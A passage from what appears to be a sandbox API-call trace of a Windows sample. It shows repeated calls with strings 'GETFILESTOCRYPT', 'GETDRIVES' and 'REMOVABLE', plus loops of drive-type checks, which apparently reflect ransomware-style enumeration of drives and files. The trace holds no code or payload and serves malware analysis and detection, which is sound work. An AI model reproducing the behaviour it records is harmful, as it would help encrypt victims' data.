lpsz="GETFILESTOCRYPT") returned 0xf [0081.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.850] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.850] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.850] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.851] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.851] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.851] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.851] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.851] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.851] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.851] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.851] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.851] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.851] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.866] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.866] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.866] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.866] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.866] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.867] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.867] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.867] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.867] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.867] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.867] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.867] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.867] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.867] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.868] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.868] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.868] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.868] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.868] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.868] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.868] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.868] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.869] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.869] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.869] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.869] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.869] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.869] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.870] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.135] TranslateMessage (lpMsg=0x130f86c) returned 0 [0082.135] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0082.135] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0082.139] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0082.139] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0082.139] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.139] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.139] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.139] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.139] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.140] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.140] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.140] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.140] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.140] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.140] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.140] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.140] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.140] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.140] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.140] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.141] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.142] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.143] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.144] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.144] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.144] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.144] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.144] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.145] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.145] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.145] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.145] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.148] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.148] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.148] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.148] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.148] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.149] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.150] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.150] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.150] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.150] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.150] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.150] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.151] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.152] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.152] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.152] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.152] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.152] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.153] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.153] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.153] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.153] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.154] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.154] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.154] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.154] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.154] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.154] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.154] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.155] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.155] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.156] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.157] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.158] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.158] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.158] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.158] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.158] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.158] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.158] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.158] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.159] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.159] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.159] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.159] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.159] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.159] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.159] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.159] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.159] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.159] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.160] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.161] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.162] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.163] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.163] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.163] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.163] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.163] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.163] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.163] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.164] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.164] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.164] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 